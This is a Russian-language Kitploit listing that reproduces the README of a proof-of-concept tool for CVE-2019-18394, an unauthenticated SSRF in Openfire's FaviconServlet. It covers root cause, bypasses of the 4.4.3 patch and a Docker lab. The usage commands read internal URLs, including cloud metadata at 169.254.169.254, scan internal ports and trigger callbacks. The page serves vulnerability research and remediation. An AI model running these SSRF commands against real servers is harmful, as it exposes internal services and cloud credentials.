Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/l0lsec/openfire-ssrf-cve-2019-18394
РазведкаСканеры уязвимостейАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на Проникновение
GitHubl0lsec/openfire-ssrf-cve-2019-18394

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

openfire-ssrf-cve-2019-18394

PoC для CVE-2019-18394: неаутентифицированный SSRF с полным чтением в Openfire <= 4.4.2 FaviconServlet

Репозиторий
1 день назадЕщё не проверено

CVE-2019-18394: SSRF в Openfire FaviconServlet

Неаутентифицированная Server-Side Request Forgery в Ignite Realtime Openfire 4.4.2 и более ранних (консоль администратора, по умолчанию TCP 9090/9091). Исправлено в 4.4.3 (issue OF-1885).

  • Подделка запроса: параметр host конкатенируется в исходящий URL без какой-либо валидации, поэтому сервер выполняет HTTP GET, выбранный атакующим.
  • Раскрытие ответа: при HTTP 200 сырое тело ответа вышестоящего сервера записывается обратно вызывающей стороне. Это SSRF с полным чтением, а не слепой.
  • Без аутентификации: /getFavicon не находится за AuthCheckFilter консоли администратора и отвечает даже тогда, когда сервер всё ещё находится в неконфигурированном состоянии установки.

Только авторизованное тестирование. Всё здесь нацелено на локальную лабораторию, которую вы разворачиваете сами.

Первопричина

org.jivesoftware.util.FaviconServlet (Openfire 4.4.2):

root@kitploit:~
public void doGet(HttpServletRequest request, HttpServletResponse response) {
    String host = request.getParameter("host");                 // attacker-controlled
    host = "gmail.com".equals(host) ? "google.com" : host;
    byte[] bytes = getImage(host, defaultBytes);
    if (bytes != null) { writeBytesToStream(bytes, response); }  // body returned to caller
}

private byte[] getImage(String host, byte[] defaultImage) {
    ...
    byte[] bytes = getImage("http://" + host + "/favicon.ico");  // unvalidated concatenation
    ...
}

private byte[] getImage(String url) {
    ...
    try (CloseableHttpResponse response = client.execute(getRequest)) {
        if (response.getStatusLine().getStatusCode() == HttpStatus.SC_OK) {
            return EntityUtils.toByteArray(response.getEntity());   // full body, not just an image
        }
    } ...
}

Без аутентификации. В xmppserver/src/main/webapp/WEB-INF/web.xml фильтр AuthCheck отображён только на *.jsp, PluginServlet и dwr-invoker. FaviconServlet отображён на простой путь /getFavicon, поэтому для него не выполняется ни один фильтр аутентификации.

Произвольный путь, а не только произвольный хост. Код жёстко задаёт суффикс /favicon.ico. Завершение host строкой запроса переносит этот суффикс в значение параметра:

root@kitploit:~
host = of_internal/secret?x=    produces    http://of_internal/secret?x=/favicon.ico

Схема жёстко зафиксирована на http://. Цели https:// напрямую недостижимы, но клиент сервлета использует LaxRedirectStrategy, поэтому достижим http-эндпоинт, который выполняет 302-редирект дальше.

Исправление в 4.4.3 и его ограничения

root@kitploit:~
final byte[] result = EntityUtils.toByteArray(response.getEntity());
if (!GraphicsUtils.isImage(result)) {   // OF-1885
    return null;                        // withhold non-image bodies
}
return result;

GraphicsUtils.isImage() — это ImageIO.read(bytes) != null, проверка содержимого, а не пункта назначения. После патча сохраняются две вещи:

  • Подделанный исходящий запрос всё ещё отправляется, поэтому слепой SSRF (сканирование портов, взаимодействие с внутренними сервисами, редирект-пивоты) всё ещё работает на 4.4.3.
  • Любой ответ, который парсится как изображение, всё ещё возвращается полностью, и после данных изображения могут следовать произвольные байты, поэтому раскрытие с полным чтением в форме изображения всё ещё работает на 4.4.3.

Оракул обнаружения

  • Каждый исход — HTTP 200, поэтому успех и неудача различаются только телом. Инструмент фиксирует сигнатуру неудачи, выполняя два гарантированно промахивающихся (NXDOMAIN) запроса и сравнивая их. Файл на диске /images/server_16x16.gif не используется в качестве базовой линии: сервер, которому не удалось загрузить его при инициализации, вместо этого возвращает пустое тело неудачи, и несовпадение этих двух даёт неверные результаты.
  • Наличие подтверждается структурно: промах отвечает 200, тогда как неотображённый соседний путь отвечает 404, что отделяет реальное отображение FaviconServlet от catch-all.
  • FaviconServlet кэширует попадания и промахи с ключом по сырому host и замыкается после двух промахов. Инструмент добавляет уникальный cache-buster cb= к каждому зонду, чтобы повторные запуски не обслуживались устаревшими результатами.

Использование

Стандартная библиотека Python 3, без зависимостей.

root@kitploit:~
check   confirm the bug: unauth endpoint + out-of-band callback + response disclosure
read    fetch an arbitrary http:// URL through the target (full-read SSRF)
scan    probe internal TCP ports from the target's network position
root@kitploit:~
# confirm. --callback-host is the address the TARGET calls back to (IP or FQDN).
python3 cve_2019_18394_poc.py check -t 10.0.0.5:9090 --callback-host 192.168.1.20 --json out.json

# read an internal-only resource the tester cannot reach directly
python3 cve_2019_18394_poc.py read -t 10.0.0.5:9090 -d http://127.0.0.1:8080/actuator/env
python3 cve_2019_18394_poc.py read -t 10.0.0.5:9090 -d http://169.254.169.254/latest/meta-data/

# map internal services
python3 cve_2019_18394_poc.py scan -t 10.0.0.5:9090 --host 127.0.0.1 --ports 80,443,8080-8090

Флаги: --callback-host (адрес, на который цель выполняет обратный вызов), --listen-bind / --listen-port (локальный слушатель), --marker-format gif (возвращать содержимое, парсящееся как изображение, которое проходит проверку isImage() в 4.4.3), --proxy, --json.

Коды выхода: 0 — ok, 1 — находка, 2 — ошибка или не уязвимо, 3 — неубедительно.

Лаборатория и подтверждённые результаты

Дифференциальная конфигурация Docker: уязвимая 4.4.2 (консоль на :9090), пропатченная 4.4.3 (на :9092) и внутренний сервис, недостижимый напрямую с хоста.

root@kitploit:~
docker network create cve18394_internal
printf '%s\n' '<h1>INTERNAL SERVICE</h1>' \
  'SECRET_FLAG=CVE-2019-18394_ssrf_reached_internal_service_ok' > /tmp/internal-index.html

# internal nginx: no host port mapping, so unreachable from the host, reachable from Openfire
docker run -d --name of_internal --network cve18394_internal \
  -v /tmp/internal-index.html:/usr/share/nginx/html/index.html:ro nginx:alpine

docker run -d --name of442 --network cve18394_internal -p 9090:9090 -p 9091:9091 \
  gizmotronic/openfire:4.4.2 && docker network connect bridge of442   # VULNERABLE

docker run -d --name of443 --network cve18394_internal -p 9092:9090 \
  gizmotronic/openfire:4.4.3 && docker network connect bridge of443   # PATCHED

У внутреннего nginx нет маппинга порта на хост, поэтому прямой запрос с хоста возвращает HTTP 000, но Openfire может до него добраться. Чтение его SECRET_FLAG доказывает, что запрос пересёк границу доверия. В Docker Desktop цель достигает вашего слушателя через host.docker.internal (передайте его в --callback-host). В нативном Linux Docker используйте IP шлюза docker0 или опустите --callback-host для автоопределения.

root@kitploit:~
# once both consoles answer on :9090 and :9092
python3 cve_2019_18394_poc.py check -t 127.0.0.1:9090 --callback-host host.docker.internal
python3 cve_2019_18394_poc.py check -t 127.0.0.1:9092 --callback-host host.docker.internal
python3 cve_2019_18394_poc.py read  -t 127.0.0.1:9090 -d http://of_internal/

Каждый обратный вызов приходил с User-Agent: Apache-HttpClient/... (Java/...), что подтверждает, что запрос пришёл от собственного HTTP-клиента Openfire, а не от инструмента.

Примечание: результат с gif подтверждает SSRF с полным чтением, но не отличает 4.4.2 от 4.4.3, поскольку раскрытие в форме изображения работает на обеих. Используйте маркер text по умолчанию, чтобы отличить состояние до исправления от состояния после.

read: 4.4.2 раскрыл внутренний SECRET_FLAG; 4.4.3 удержал HTML-страницу, но всё же вернул внутренний .gif, полученный через трюк с путём.

root@kitploit:~
docker rm -f of442 of443 of_internal && docker network rm cve18394_internal   # tear down

Устранение

Обновитесь до Openfire 4.4.3 или более поздней версии. Исправление isImage() не останавливает исходящий запрос или раскрытие в форме изображения, поэтому там, где функция favicon-прокси не нужна, также ограничьте исходящий трафик с хоста Openfire и поместите консоль администратора (9090/9091) за сетевые средства контроля.

Файлы

root@kitploit:~
cve_2019_18394_poc.py   the PoC (check / read / scan), Python 3 stdlib, no dependencies
README.md               this document

check записывает JSON-запись доказательств при указании --json <file>.

Скачать инструмент
ЦельМаркерОбратный вызовТело раскрытоВердиктВыход
4.4.2 (уязв.)textдада, дословноVULNERABLE (не пропатчено)1
4.4.3 (пропатч.)textданет, удержано isImage()PARTIALLY_MITIGATED (слепой SSRF)1
4.4.3 (пропатч.)gifдада, изображение + хвостовой текстVULNERABLE полное чтение (см. примечание)1
не-Openfire (nginx)н/дн/дн/дэндпоинт отсутствует2